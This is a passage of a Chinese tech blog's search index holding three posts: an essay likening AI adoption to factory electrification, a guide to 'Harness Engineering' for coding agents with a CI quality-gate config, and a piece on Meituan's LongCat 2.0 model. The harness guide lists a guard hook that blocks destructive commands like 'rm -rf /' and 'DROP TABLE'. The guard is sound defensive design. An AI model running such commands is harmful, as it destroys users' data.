","date":"2026-07-15","objectID":"/posts/2026/07/15/ai-line-shaft-moment/:3:0","tags":["tech","ai","productivity","history","electricity","industry"],"title":"AI 的天轴时刻——我们都把电动机装在了旧皮带上","uri":"/posts/2026/07/15/ai-line-shaft-moment/"},{"categories":["Tech"],"content":"不是技术不成熟，是脑子转不过弯 Paul David 的论文叫《The Dynamo and the Computer》。这篇被引用了 2700 多次的文章，试图解释一个当代谜题：为什么 1980 年代计算机到处都是，生产率数据却一动不动？1987 年，诺奖经济学家 Robert Solow 说了句著名的俏皮话：“You can see the computer age everywhere but in the productivity statistics.” David 说，等等，这个事 100 年前发生过一次。对象是电。 他画了一条时间线：1879 年爱迪生发明实用电灯，1881 年建发电站，1882 年电动机进工厂。然后呢？然后沉默了 40 年。1920 年代，美国制造业生产率以空前绝后的速度飙升。你把功劳算在谁头上？电？电已经 50 岁了。David 的结论刺痛了一堆人：1920 年代那场大飞跃的功臣不是新技术，是制造商终于学会了怎么用一项将近 50 年前的技术。 学会的不是\"怎么开电动机\"。学会的是\"电意味着什么\"。 蒸汽机擅长的事和电动机擅长的事，完全不一样。蒸汽机越大效率越高，小蒸汽机是灾难——所以蒸汽工厂只能搞一个大块头，通过天轴把动力分配出去。但电动机大也行、小也行。每一台机床可以有自己的小电机。动力不再靠铁轴和皮带——靠电线。 这意味着什么？工厂不用再围着天轴建了。天花板不用再承重粗钢轴了。车间可以有窗户了，可以有自然光了，可以铺开了——单层、带翼楼和天窗。布局逻辑从\"天轴决定一切\"变成了\"流水线逻辑\"。 在老工厂里，蒸汽机定节奏；在新工厂里，工人定节奏。 但这一切的前提是——你不能只把蒸汽机换成电动机。你要拆天轴。你要重画工厂图纸。你要换掉从招聘、培训到薪酬的整个劳动制度。 “Although all this was clear enough in principle, the relevant point is that its implementation on a wide scale required working out the details in the context of many kinds of new industrial facilities, in many different locales, thereby building up a cadre of experienced factory architects and electrical engineers familiar with the new approach to manufacturing.” Paul David 这段话翻过来就是：原理谁都知道，但把原理落成新工厂、新流程、新工种、新经验——这件事，花了 40 年。 ","date":"2026-07-15","objectID":"/posts/2026/07/15/ai-line-shaft-moment/:4:0","tags":["tech","ai","productivity","history","electricity","industry"],"title":"AI 的天轴时刻——我们都把电动机装在了旧皮带上","uri":"/posts/2026/07/15/ai-line-shaft-moment/"},{"categories":["Tech"],"content":"AI 的天轴时刻：我们在第几阶段 现在我们把这个镜头对准 AI。 三个数据，一一对应： 1900 年：不到 5% 的美国工厂用上了电动机。 2025 年：根据 MIT NANDA 的报告，只有 5% 的企业从 AI 中获得了显著价值。 95% 的企业——尽管买了 ChatGPT、装了 Copilot、搞了 AI 试点——P\u0026L 表上什么都没动。Sequoia 的 Inference 专栏把这个叫\"GenAI Divide\"：5% 和 95% 之间的鸿沟不是投资额，是有没有把 AI 接入核心业务流程。 1890-1920：电气化生产率停滞 30 年。 2020-？：Brynjolfsson、Rock 和 Syverson 在 2021 年提出了\"生产力 J 曲线\"—— 新技术引入初期，生产率不但不升，反而微降。因为企业在大量投入\"无形资本\"：重新设计流程、培训员工、重组组织。这些投入不进 GDP 统计，但它们是真正值钱的东西。当无形资本积累到足够的时候，J 曲线抬头。三位经济学家的原话是：AI 相关的无形资本效应\"规模尚小但在增长\"。 1987 年 Solow 说：计算机无处不在，就是不在生产率统计数字里。 今天：AI 无处不在，就是不在生产率统计数字里。 如果把这两张时间表叠在一起，我们现在大概在电气化故事里的 1910 年。AI 已经不是噱头了，但大多数人对它的使用方式——还是电动机装到天轴上。 ","date":"2026-07-15","objectID":"/posts/2026/07/15/ai-line-shaft-moment/:5:0","tags":["tech","ai","productivity","history","electricity","industry"],"title":"AI 的天轴时刻——我们都把电动机装在了旧皮带上","uri":"/posts/2026/07/15/ai-line-shaft-moment/"},{"categories":["Tech"],"content":"当代天轴，长什么样 不用去工厂找。往办公室里看： 程序员。 Copilot 替你写了 80% 的代码，但你的工作流跟 2015 年没有本质区别——需求文档→设计评审→写代码→写测试→Code Review→CI/CD。AI 加速了\"写代码\"这个环节，但管线还是那条管线。IDE 还是那个 IDE。测试覆盖率、代码审查、上线流程、事故复盘——所有围绕代码的社会性结构，一个都没变。 内容团队。 用 ChatGPT 生成大纲、改写段落、翻译文案。但选题会照开、层层审批照做、版本管理照旧。AI 帮你把初稿从 3 天缩到 3 小时，然后这 3 小时的产物在审批链上躺了 5 天。 客服部门。 上了 AI 机器人，FAQ 被自动应答了。但客服人员的 KPI 还是响应时长和工单量，培训体系还是照着话术手册来，排班表还是没人动过。 企业 IT。 采购了企业版 ChatGPT，全员一个账号、一套 Prompt 模板、一份使用规范。这不就是一根新的天轴吗——一套统一的 AI 入口，一条标准化的提示词皮带，把输出分发到每个工位。 还有一种天轴，连办公室都不用进。动力入口只有一个，拉闸权就在别人手里：显卡断供，训练任务就得停；账号被封，写了一半的上下文全断。以前蒸汽机一熄火，全线停工；现在断你的电不用进厂，一纸禁令就够了。 最精确的诊断来自 MIT 的 NANDA 报告，他们发现了一个叫\"影子 AI 经济\"的东西：大量员工自己掏钱买 ChatGPT/Claude 订阅，绕开公司 IT 系统来完成工作。为什么？因为公司配的 AI 工具没法适应他们实际的工作流。员工在用脚投票，告诉你你的天轴是旧的。 这跟 1910 年那些算完账后选了蒸汽机的企业家一模一样——不是电不好，是你用错了。 ","date":"2026-07-15","objectID":"/posts/2026/07/15/ai-line-shaft-moment/:6:0","tags":["tech","ai","productivity","history","electricity","industry"],"title":"AI 的天轴时刻——我们都把电动机装在了旧皮带上","uri":"/posts/2026/07/15/ai-line-shaft-moment/"},{"categories":["Tech"],"content":"怎么判断自己在拆天轴还是换马达 一个自测问题：用了 AI 之后，你的工作流拓扑变了吗？ 拓扑不变，只是某些节点变快了——这是换马达。拓扑变了——删掉了一些节点，新加了一些节点，甚至整个链路被重写——这是拆天轴。 举个例子。“写周报\"这个事，如果 AI 只是帮你把 bullet point 展开成通顺的段落，拓扑没变。如果 AI 自动拉取你本周的代码提交、工单关闭、文档编辑记录，生成一份周报草稿推到你面前让你确认——拓扑变了。中间的收集、整理、格式化节点被删掉了。 再举一个。“代码审查”，如果你还是 PR→等人看→留 comment→改代码→重新 review，AI 只是帮你写个摘要，那没变。如果是 AI 先做一遍 review，标记了所有问题，人只做复核和 approve——拓扑变了。review 这个节点的内部结构被重写了。 拆天轴比换马达难得多。因为拆天轴不只是改工具——是改流程、改权责、改 KPI、改组织结构、改你脑子里\"这件事应该怎么做\"的默认脚本。 Timo Elliott 总结了四个障碍，精准到可以贴在显示器上： 沉没资本。 你现在的管线和流程是花了很多钱和时间建的，你不愿意推倒重来。蒸汽工厂老板也不愿意报废那根钢铁天轴。 技能缺口。 拆天轴需要\"工厂建筑师\"和\"电气工程师”——组织设计和 AI 工程的双料人才。这种人跟 1910 年的电气工程师一样稀有。 文化阻力。 天轴给了工厂一个统一的节奏，所有人都被锁在这个节奏里。拆掉天轴意味着给工人自主权——不是每个管理者都受得了。 不确定的 ROI。 你算不出这 40 年后的回报，但你算得出当下这笔投资的账单。这是人类面对所有 GPT（通用目的技术）时的永恒困境。 电从进工厂到真正改变工厂，花了将近 40 年。这 40 年不是技术在等，是人在等——等一代愿意拆天轴的工厂建筑师出现。AI 也会等到属于它的 1920 年代，区别只在于：那一次，被拆掉的是哪根轴。 下次你让 AI 按既定流程跑完一个任务、一切如常的时候，可以停下来问自己一个问题—— 我是不是只换了个马达？ 下一篇：《荷兰牧场与 AI 时代：别让旧思维束缚了想象力》——风车、水渠与笼头，AI 时代的第三种选择。 ","date":"2026-07-15","objectID":"/posts/2026/07/15/ai-line-shaft-moment/:7:0","tags":["tech","ai","productivity","history","electricity","industry"],"title":"AI 的天轴时刻——我们都把电动机装在了旧皮带上","uri":"/posts/2026/07/15/ai-line-shaft-moment/"},{"categories":["Tech"],"content":"从零理解 Harness Engineering：Prompt ⊂ Context ⊂ Harness 三层模型拆解、六大核心组件、为什么同一个模型不同 Harness 性能差 6 倍。结尾给出一个可运行的最小 Harness 示例，读完就能动手。","date":"2026-07-03","objectID":"/posts/2026/07/03/harness-engineering-intro/","tags":["tech","ai","harness engineering","agent","claude code","prompt engineering"],"title":"Harness Engineering 入门：从 Prompt 到 Context 到 Harness，Agent 工程的最后一层","uri":"/posts/2026/07/03/harness-engineering-intro/"},{"categories":["Tech"],"content":" 提示词管一句话，上下文管一个窗口，Harness 管 Agent 的整个运行环境——怎么跑、跑错了怎么纠、怎么让同一个错误不再犯第二次。 ","date":"2026-07-03","objectID":"/posts/2026/07/03/harness-engineering-intro/:0:0","tags":["tech","ai","harness engineering","agent","claude code","prompt engineering"],"title":"Harness Engineering 入门：从 Prompt 到 Context 到 Harness，Agent 工程的最后一层","uri":"/posts/2026/07/03/harness-engineering-intro/"},{"categories":["Tech"],"content":"前言 上一篇拆了 Fable 5 的 120K 字符系统提示词。拆完之后我一直在想一个问题：Fable 5 的提示词里有一半篇幅在定义工具、写搜索规则、配 MCP 连接器——这些东西本质上不是\"告诉模型怎么说话\"，是给模型搭了一个可以安全运行的工作环境。 这个工作环境有一个名字，叫 Harness。 Mitchell Hashimoto（HashiCorp 创始人，Terraform 作者）在今年 2 月提了这个概念。他说了句很戳我的话： Every time an agent makes a mistake, you don’t just tell it to do better next time. You change the system so that specific mistake becomes structurally harder to repeat. 翻译：每次 Agent 犯错，你不是对它说\"下次注意\"。你直接把系统改了，让这个错从此犯不了。 Harness 这个词原义是马的挽具——但不止挽具本身。缰绳、马鞍、嚼子、笼头、马蹄铁、马镫、马刺，再加上马车和马路/轨道，才是一套完整的驾驭系统。马有力量，但光靠一匹马哪都去不了——你得有全套装备，还得有路。AI 同理：模型是马，Harness 是这套系统。这就是 Harness Engineering。 ","date":"2026-07-03","objectID":"/posts/2026/07/03/harness-engineering-intro/:1:0","tags":["tech","ai","harness engineering","agent","claude code","prompt engineering"],"title":"Harness Engineering 入门：从 Prompt 到 Context 到 Harness，Agent 工程的最后一层","uri":"/posts/2026/07/03/harness-engineering-intro/"},{"categories":["Tech"],"content":"1. 从一个翻车现场说起 先看一个真实场景。你用 Claude Code 写了一个代码审查 Agent，配了 prompt：“请审查以下代码，检查类型注解、异常处理、资源管理。” Agent 跑完，回了一句： 代码看起来不错，类型注解基本齐全，异常处理也覆盖了主要路径。Looks good. 但你手动翻了一下——三个 open() 调用没写 with，两个函数缺返回类型，还有一个 except: 裸捕获。Agent 跳过了全部问题，自信地说没问题。 你怎么办？很多人第一反应是改 prompt：在提示词里写得更细、加更多\"必须检查\"的条款。写过提示词的人都懂——改完之后效果好一阵，过了两天又犯，继续微调，像修漏水的管子。 问题不在 prompt 上。问题在你只告诉 Agent\"要做对\"，但没建任何东西来验证它做对了没有。 这就到了 Harness 该上场的时候。 ","date":"2026-07-03","objectID":"/posts/2026/07/03/harness-engineering-intro/:2:0","tags":["tech","ai","harness engineering","agent","claude code","prompt engineering"],"title":"Harness Engineering 入门：从 Prompt 到 Context 到 Harness，Agent 工程的最后一层","uri":"/posts/2026/07/03/harness-engineering-intro/"},{"categories":["Tech"],"content":"2. 三层模型：Prompt ⊂ Context ⊂ Harness 把 AI Agent 的工程体系想象成三层。我做了一张图，和前两篇 Context Engineering、Fable 5 分析的视角接在一起： ① Prompt Engineering — 管一句话告诉模型\"做什么\"和\"不能做什么\"。但模型有主观能动性，它会绕、会忘、会偷懒。② Context Engineering — 管一个窗口管 token 预算、缓存策略、防污染——每一段上下文都要值回它的 token 成本。③ Harness Engineering — 管整个运行环境本文主题怎么跑、跑错了怎么纠、输出怎么验证、同一个错误怎么从环境中铲掉。Prompt 是方向盘，Context 是路况信息，Harness 是安全带、刹车、护栏、黑匣子。工具系统执行编排状态与记忆独立评估约束恢复 图 1：Prompt ⊂ Context ⊂ Harness 三层模型 回到代码审查 Agent 那个翻车现场。第一层（Prompt）告诉它查什么，第二层（Context）给它配了 Skill 和 CLAUDE.md。但它照样能跳过检查说没问题——因为这两层都依赖 Agent 主动遵守。Harness 反过来了：它不靠 Agent 自觉，靠环境约束。 具体做法：不让 Agent 自己说\"我检查完了\"，而是让 Harness 在 Agent 输出之后跑一轮自动化验证——pytest 跑了没、类型检查工具 mypy 过了没、退出码是不是零。任何一个没通过，输出直接打回，Agent 被迫回去修。 这就是三层的关系——Prompt 是方向盘，Context 是路况信息，Harness 是安全带、刹车、护栏和黑匣子。光靠\"好好开车\"和安全手册，出不了真正的安全——你得先把路修好。 ","date":"2026-07-03","objectID":"/posts/2026/07/03/harness-engineering-intro/:3:0","tags":["tech","ai","harness engineering","agent","claude code","prompt engineering"],"title":"Harness Engineering 入门：从 Prompt 到 Context 到 Harness，Agent 工程的最后一层","uri":"/posts/2026/07/03/harness-engineering-intro/"},{"categories":["Tech"],"content":"3. Harness 的六个组件 Mitchell Hashimoto 的定义里，一个成熟的 Harness 有六个组成部分。我拿我自己的项目举例，每个组件你都能在 Devspace 里找到对应的东西： ","date":"2026-07-03","objectID":"/posts/2026/07/03/harness-engineering-intro/:4:0","tags":["tech","ai","harness engineering","agent","claude code","prompt engineering"],"title":"Harness Engineering 入门：从 Prompt 到 Context 到 Harness，Agent 工程的最后一层","uri":"/posts/2026/07/03/harness-engineering-intro/"},{"categories":["Tech"],"content":"3.1 结构化上下文管理 不只是堆上下文，是把上下文按层级和生命周期组织好。 我的做法 用什么 全局规则 ~/.claude/CLAUDE.md — commit 习惯、语言偏好、测试优先 项目规则 项目根目录 CLAUDE.md — 技术栈、端口号、已知坑 任务按需加载 Superpowers Skills — 意图匹配时注入 动态信息注入 Hook UserPromptSubmit — 当前 git 状态、最近操作 上一篇 Context Engineering 讲了怎么把上下文管好。这里不展开，只强调一点：结构性会让 Agent 知道自己此刻在哪一层、该遵守什么。 ","date":"2026-07-03","objectID":"/posts/2026/07/03/harness-engineering-intro/:4:1","tags":["tech","ai","harness engineering","agent","claude code","prompt engineering"],"title":"Harness Engineering 入门：从 Prompt 到 Context 到 Harness，Agent 工程的最后一层","uri":"/posts/2026/07/03/harness-engineering-intro/"},{"categories":["Tech"],"content":"3.2 工具系统设计 Agent 能调什么工具、怎么调、异常怎么处理——全在这层定义。 我的做法 用什么 Claude Code 内置工具 Bash、Write、Edit、WebSearch — 日常开发的基础工具箱 MCP 自定义工具 自研 MCP 服务 — 扩展 Claude Code 访问外部系统 权限控制 MCP 鉴权层 — 关键操作必须 opt-in 授权 安全边界 敏感文件保护 Hook — .env、secrets.yaml 禁止 Write Fable 5 的提示词里有一半篇幅在干这件事——定义工具、写搜索规则、配连接器。我写完 MCP 篇之后做的几个 MCP 服务，就是这层的东西。 ","date":"2026-07-03","objectID":"/posts/2026/07/03/harness-engineering-intro/:4:2","tags":["tech","ai","harness engineering","agent","claude code","prompt engineering"],"title":"Harness Engineering 入门：从 Prompt 到 Context 到 Harness，Agent 工程的最后一层","uri":"/posts/2026/07/03/harness-engineering-intro/"},{"categories":["Tech"],"content":"3.3 执行编排 Agent 接到任务后，不是自由发挥——是沿着预设的\"轨道\"跑。复杂任务拆成子任务，子任务之间有依赖关系，出错了有重试策略。 我的做法 用什么 工作流引擎 自研轻量引擎 — 步骤编排、依赖管理、重试策略 多 Agent 编排 Claude Code Workflows — pipeline、parallel、agent() 三大原语 对抗验证 Generator + Reviewer 角色对立，循环直到通过 工作流引擎和多 Agent 编排的区别：引擎负责物流——“这个步骤跑完了、下个可以开始了”；编排负责决策——“这个任务谁做、做完怎么审”。 ","date":"2026-07-03","objectID":"/posts/2026/07/03/harness-engineering-intro/:4:3","tags":["tech","ai","harness engineering","agent","claude code","prompt engineering"],"title":"Harness Engineering 入门：从 Prompt 到 Context 到 Harness，Agent 工程的最后一层","uri":"/posts/2026/07/03/harness-engineering-intro/"},{"categories":["Tech"],"content":"3.4 状态与记忆管理 Agent 跑着跑着就忘了自己在干什么——这是上下文压缩和长任务最头疼的问题。 我的做法 用什么 任务进度追踪 PostToolUse Hook → 持续写 task-state.json 压缩前快照 PreCompact Hook → 标记未解决问题 跨 session 恢复 SessionStart Hook → 读回上次状态 这是 Context Engineering 里 4.3 节讲的那条三层 Hook 链路。Fable 5 提示词里的 \u003cmemory_system\u003e 也是这个思路——记忆的存在和记忆的引用是两层控制，有的信息存了但特定场景下绝对不能调出来。 ","date":"2026-07-03","objectID":"/posts/2026/07/03/harness-engineering-intro/:4:4","tags":["tech","ai","harness engineering","agent","claude code","prompt engineering"],"title":"Harness Engineering 入门：从 Prompt 到 Context 到 Harness，Agent 工程的最后一层","uri":"/posts/2026/07/03/harness-engineering-intro/"},{"categories":["Tech"],"content":"3.5 独立评估与可观测性 这层最反直觉——Agent 不能给自己打分。 它说\"我做得很好\"不算数，得有一个独立于 Agent 的验证系统来做裁判。 我的做法 用什么 对抗验证 Workflow — 指定 Reviewer 角色挑刺，不通过打回 自动化验证 Hook Stop — 检查 pytest/mypy 是否通过 审计日志 PostToolUse → 记录每次 Bash 执行的命令和结果 ","date":"2026-07-03","objectID":"/posts/2026/07/03/harness-engineering-intro/:4:5","tags":["tech","ai","harness engineering","agent","claude code","prompt engineering"],"title":"Harness Engineering 入门：从 Prompt 到 Context 到 Harness，Agent 工程的最后一层","uri":"/posts/2026/07/03/harness-engineering-intro/"},{"categories":["Tech"],"content":"3.6 约束、验证与恢复 Agent 的输出不等于最终产物。这层在 Agent 输出之后加了一道闸——不符合标准的输出根本出不去。 我的做法 用什么 格式锁定 prompt 类型 Hook — 检查输出是否包含规定格式 失败回滚 git reset + 重新生成 权限审批 MCP auth — 高风险操作推送飞书/桌面通知确认 危险拦截 PreToolUse — rm -rf /、DROP TABLE 等命令直接 block 前三层让 Agent 能做，后三层让 Agent 不出错。缺了后三层，你拿到的就是一个能力超强但随时翻车的 Agent。 ","date":"2026-07-03","objectID":"/posts/2026/07/03/harness-engineering-intro/:4:6","tags":["tech","ai","harness engineering","agent","claude code","prompt engineering"],"title":"Harness Engineering 入门：从 Prompt 到 Context 到 Harness，Agent 工程的最后一层","uri":"/posts/2026/07/03/harness-engineering-intro/"},{"categories":["Tech"],"content":"4. 为什么是现在 Harness Engineering 是不是又一个造出来的 buzzword？有两个数据： 斯坦福 + 清华联合研究：同一个基座模型，配不同的 Harness 设计，任务成功率可以差 6 倍。不是 6 个百分点，是六倍。 OpenAI Codex 团队：五个月内用 AI Agent 产出了约 100 万行生产代码。人类写了几行？零。做什么了？只做 Harness Engineering——定义检查规则、配 CI 流程、审查输出、修正失败模式。 模型本身不是壁垒。谁给模型搭的 Harness 好，谁的 Agent 就比别人跑得远。 最近 Claude Code 隐写后门事件也从反面印证了这一点：当你依赖的工具本身不可信时，唯一能保护你的就是你给它套的那层约束。 ","date":"2026-07-03","objectID":"/posts/2026/07/03/harness-engineering-intro/:5:0","tags":["tech","ai","harness engineering","agent","claude code","prompt engineering"],"title":"Harness Engineering 入门：从 Prompt 到 Context 到 Harness，Agent 工程的最后一层","uri":"/posts/2026/07/03/harness-engineering-intro/"},{"categories":["Tech"],"content":"5. 搭一个最小 Harness 不纸上谈兵。下面是一个可运行的例子——给一个代码审查 Agent 套上 Harness。 Agent 本身很简单：每次有人提 PR，Claude Code 自动审查 diff。裸跑的版本就是上面翻车现场那个——看完自信地说没问题，实际上漏了一堆。 下面是加了 Harness 之后的 CI 流水线配置。它跑在 GitHub Actions 里，但换成 GitLab CI 或 Jenkins 也一样——核心是把 Agent 的输出套进自动化验证流程里： # .github/harness-code-review.yml — 最小 Harness 配置 name: Code Review Harness on: [pull_request] jobs: review: steps: # 第1步：Claude Code 审查 - name: AI Review run: | claude -p \"审查 git diff，检查类型注解、异常处理、资源管理。 输出格式：TYPE_CHECK / EXCEPTION_CHECK / RESOURCE_CHECK，每项 PASS 或 FAIL。 如果 FAIL，给出具体行号和修复建议。\" \u003e review-output.md # 第2步：Harness — 独立验证，Agent 说了不算 - name: Type Check run: mypy . --strict continue-on-error: true - name: Lint run: ruff check . - name: Test run: pytest -x --tb=short # 第3步：输出审计 - name: Audit Log run: | echo \"[$(date)] PR #${{ github.event.pull_request.number }}\" \u003e\u003e audit.log echo \"Review output: $(wc -l \u003c review-output.md) lines\" \u003e\u003e audit.log # 第4步：失败处理 — 不许 merge - name: Enforce Quality Gate run: | if grep -q \"FAIL\" review-output.md; then echo \"Harness: Review found issues. Merge blocked.\" exit 1 fi # 这最后一道闸，Agent 绕不过去 这个 Harness 做了四件事，Agent 一个都挡不住： 约束输出格式 — 不是让 Agent 自由回答，是强制它输出 PASS/FAIL 判定 独立验证 — Agent 说没问题，但 mypy、ruff、pytest 的退出码才是真正的裁判 审计记录 — 每次审查的命令、输出、结果都持久化 质量闸 — FAIL 了直接 block merge，Agent 被迫回去修 总共不到 30 行配置。你已经有 Claude Code、pytest、mypy、ruff，差的就是这几行把散的组件串起来的逻辑。这就是 Harness。 ","date":"2026-07-03","objectID":"/posts/2026/07/03/harness-engineering-intro/:6:0","tags":["tech","ai","harness engineering","agent","claude code","prompt engineering"],"title":"Harness Engineering 入门：从 Prompt 到 Context 到 Harness，Agent 工程的最后一层","uri":"/posts/2026/07/03/harness-engineering-intro/"},{"categories":["Tech"],"content":"6. 和 Context Engineering 的关系 上一篇写了 Context Engineering——管的是 token 怎么花、上下文怎么不污染。有人会问：这和 Harness 有什么区别？ 一句话：Context 管的是 Agent 看到什么，Harness 管的是 Agent 怎么做。 Context Engineering Harness Engineering 问题 Agent 看到的东西够不够、对不对 Agent 产出的东西对不对、会不会错 手段 预算帽、缓存策略、/clear、防污染 工具定义、编排、独立验证、质量闸 关系 地基 上面盖的楼 Context 是 Harness 的第 1 号组件。没有好的上下文管理，后面的验证再多也是空中楼阁。但光有上下文没有验证，Agent 看到了所有该看的东西照样能犯错——因为它会偷懒。 ","date":"2026-07-03","objectID":"/posts/2026/07/03/harness-engineering-intro/:7:0","tags":["tech","ai","harness engineering","agent","claude code","prompt engineering"],"title":"Harness Engineering 入门：从 Prompt 到 Context 到 Harness，Agent 工程的最后一层","uri":"/posts/2026/07/03/harness-engineering-intro/"},{"categories":["Tech"],"content":"7. 结语 Mitchell Hashimoto 说 Harness Engineering 是 Prompt Engineering 之后的下一个范式。Prompt 之上有 Context，Context 之上有 Harness——每一层都是为了解决底层解决不了的问题出现的。 写了这么多，最想说的是：Harness 不是大厂才配玩的东西。你用的 Claude Code Hooks、你写的 CI pipeline、你给 Agent 配的工具权限、你在 shell 里加的那一行 exit 1——这些拼起来，就是你自己的 Harness。差别只在有没有意识到它，有没有把它当成一个系统来设计。 下一篇讲 Harness 的第一个核心组件——怎么给 Agent 搭一个安全隔离沙箱。 感谢阅读。 ","date":"2026-07-03","objectID":"/posts/2026/07/03/harness-engineering-intro/:8:0","tags":["tech","ai","harness engineering","agent","claude code","prompt engineering"],"title":"Harness Engineering 入门：从 Prompt 到 Context 到 Harness，Agent 工程的最后一层","uri":"/posts/2026/07/03/harness-engineering-intro/"},{"categories":["Tech"],"content":"拆解美团万亿参数模型 LongCat 2.0：昇腾 910C 全栈训练、SWE-bench Pro 59.5 超 GPT-5.5、MIT 开源、OpenRouter 调用量全球前三。对比 GLM-5.2、DeepSeek V4，分析中国编程 AI 的芯片突围路线。","date":"2026-07-02","objectID":"/posts/2026/07/02/longcat-china-coding-ai/","tags":["tech","ai","longcat","meituan","glm","opensource","china"],"title":"英伟达含量为零的开源模型，在 OpenRouter 登顶 Hermes 榜——中国编程 AI 的还手方式","uri":"/posts/2026/07/02/longcat-china-coding-ai/"},{"categories":["Tech"],"content":" 英伟达含量为零。MIT 开源。OpenRouter 登顶 Hermes 榜。出口管制想要的不是这个——但得到的结果就是这个。 ","date":"2026-07-02","objectID":"/posts/2026/07/02/longcat-china-coding-ai/:0:0","tags":["tech","ai","longcat","meituan","glm","opensource","china"],"title":"英伟达含量为零的开源模型，在 OpenRouter 登顶 Hermes 榜——中国编程 AI 的还手方式","uri":"/posts/2026/07/02/longcat-china-coding-ai/"},{"categories":["Tech"],"content":"前言 6 月 30 日，美团正式发布并开源了新一代万亿参数大模型 LongCat 2.0。不是只有技术博客和 PR 稿里的 benchmark——这个模型已经在 OpenRouter 上以匿名身份跑了两个月，被全球开发者用脚投票投进了前三。 它的训练集群里，没有一张英伟达显卡。 ","date":"2026-07-02","objectID":"/posts/2026/07/02/longcat-china-coding-ai/:1:0","tags":["tech","ai","longcat","meituan","glm","opensource","china"],"title":"英伟达含量为零的开源模型，在 OpenRouter 登顶 Hermes 榜——中国编程 AI 的还手方式","uri":"/posts/2026/07/02/longcat-china-coding-ai/"},{"categories":["Tech"],"content":"1. LongCat 2.0 是什么 一句话：业界首个在五万张国产 AI 芯片上完成全流程训练与推理的万亿参数模型。 项目 规格 架构 MoE，1.6T 总参，48B 平均激活（动态 33B~56B） 上下文 原生 1M token 训练芯片 约五万张昇腾 910C，零英伟达 性能峰值 SWE-bench Pro 59.5（超 GPT-5.5 的 58.6） Agent 能力 OpenRouter Hermes 榜第一，Claude Code 调用量第二 开源协议 MIT，商用自由 价格 限时免费，标准 $0.75/$2.95（百万 token 输入/输出） 昇腾 910C 不是华为最新一代芯片——最新是 950，DeepSeek 和 GLM 都在等那批。美团用的是上一代。显存不到 80GB HBM，远小于英伟达 H800。他们自己承认\"显存是首要瓶颈\"，需要自研算子来填坑。在五万张这样的卡上，训练了一个 1.6T 参数的 MoE 模型，月均日故障率还降了 70%。从头到尾没有一次回滚。 这不是\"我们用国产芯片跑了个 demo\"的那种公关稿，而是一个能上生产环境的、在编程基准上超过 GPT-5.5 的、全球开发者已经在用的模型。 ","date":"2026-07-02","objectID":"/posts/2026/07/02/longcat-china-coding-ai/:2:0","tags":["tech","ai","longcat","meituan","glm","opensource","china"],"title":"英伟达含量为零的开源模型，在 OpenRouter 登顶 Hermes 榜——中国编程 AI 的还手方式","uri":"/posts/2026/07/02/longcat-china-coding-ai/"},{"categories":["Tech"],"content":"2. 匿名冲榜：先打实力，再报名字 LongCat 2.0 不是第一个走这条路的中国模型。 匿名代号 真实身份 方式 Pony Alpha 智谱 GLM-5 OpenRouter 匿名 → 官宣 Hunter Alpha 小米 MiMo 2.0 Pro 同上 Owl Alpha 美团 LongCat 2.0 匿名两个月，Hermes 榜第一后认领 这种策略的核心逻辑是：让全球开发者在不知道\"这是中国模型\"的情况下，自己评价它的好坏。没有品牌溢价，没有国籍滤镜，没有\"中国芯片行不行\"的预设——只有调用数据和打分排名。 两个月里，Owl Alpha 的日均调用量达到 559 亿 tokens，月总调用量约 10.1 万亿。它不是被某个评测机构评出来的——是被全球开发者用两天两夜的调用量投出来的。 ","date":"2026-07-02","objectID":"/posts/2026/07/02/longcat-china-coding-ai/:3:0","tags":["tech","ai","longcat","meituan","glm","opensource","china"],"title":"英伟达含量为零的开源模型，在 OpenRouter 登顶 Hermes 榜——中国编程 AI 的还手方式","uri":"/posts/2026/07/02/longcat-china-coding-ai/"},{"categories":["Tech"],"content":"3. GLM-5.2：另一个开源答案 同期还有智谱 GLM-5.2——6 月 17 日发布，MIT 开源，Code Arena 全球第二（Fable 5 被禁期间曾登顶第一）。 LongCat 2.0 GLM-5.2 总参 1.6T 744B 激活参 48B 40B SWE-bench Pro 59.5 62.1 Code Arena — 全球第二 Agent 强项 Hermes 榜第一 DeepSWE 开源第一 开源 MIT MIT 芯片 昇腾 910C 国产芯片全适配 公司 美团（外卖） 智谱（纯 AI） GLM 是专业 AI 公司，编程评测全面开花。LongCat 是美团，被禁运逼出来的国产算力方案，在 Agent 和开发者口碑上撕开口子。 ","date":"2026-07-02","objectID":"/posts/2026/07/02/longcat-china-coding-ai/:4:0","tags":["tech","ai","longcat","meituan","glm","opensource","china"],"title":"英伟达含量为零的开源模型，在 OpenRouter 登顶 Hermes 榜——中国编程 AI 的还手方式","uri":"/posts/2026/07/02/longcat-china-coding-ai/"},{"categories":["Tech"],"content":"4. DeepSeek V4：量化出身的也能做一线编程模型 在幻方之前，没人觉得量化对冲基金能和世界级大模型扯上关系。DeepSeek V4 Pro 把这页翻过去了。 DeepSeek 是三家里面最早把 MoE 架构推到极致的——从 V2 开始就在大参数、小激活这条路上走到最远，推理成本压到同行几分之一。V4 Pro 在 LiveCodeBench 上全球第一，SWE-bench Pro 55.4 逼近 GPT-5.5，推理成本只有它的 1/34。和美团、智谱一样，DeepSeek 也押国产芯片，只是在进度上——美团第一个跑通了国产芯片全流程预训练，DeepSeek 和 GLM 还在等昇腾 950 放量。 但 DeepSeek 对整个中国 AI 生态的贡献不止是模型本身。V2/V3 的开源让无数团队在它的权重上做微调和蒸馏，降低了大模型研发的准入门槛。DeepSeek用一家量化基金的身份证明了：AI 研发不需要硅谷血统。 三家中国企业，MoE 架构都在用，国产芯片都在押，开源都选了 MIT。真正不一样的是出身： 智谱：纯 AI 公司，从学术界起家，走最正统的路线——科研 → 产品 → 开源 DeepSeek：出身量化基金幻方，大模型从副业做成主业，现已独立融资 美团：外卖平台，从零组建 AI 团队，直接用国产芯片硬训 卖外卖的、量化出身的、做学术的——共同点是都不靠英伟达的既有生态，都开源。 ","date":"2026-07-02","objectID":"/posts/2026/07/02/longcat-china-coding-ai/:5:0","tags":["tech","ai","longcat","meituan","glm","opensource","china"],"title":"英伟达含量为零的开源模型，在 OpenRouter 登顶 Hermes 榜——中国编程 AI 的还手方式","uri":"/posts/2026/07/02/longcat-china-coding-ai/"},{"categories":["Tech"],"content":"5. 禁运的反噬，和牌桌的重排 出口管制想达到的效果是：卡住高端 AI 芯片供应 → 中国 AI 追不上。现实是昇腾 910C 虽然是上一代芯片，美团用它在显存、通信、稳定性三个方向自研补丁，最终训出了 1.6T 模型。DeepSeek 和 GLM 在等的昇腾 950 还没就位，上一代卡已经造出了能打 GPT-5.5 的东西。那批新芯片量产后是什么水平，现在没法预估。 还有更直接的市场信号。根据 OpenRouter 逐日 API 调用统计，Fable 5 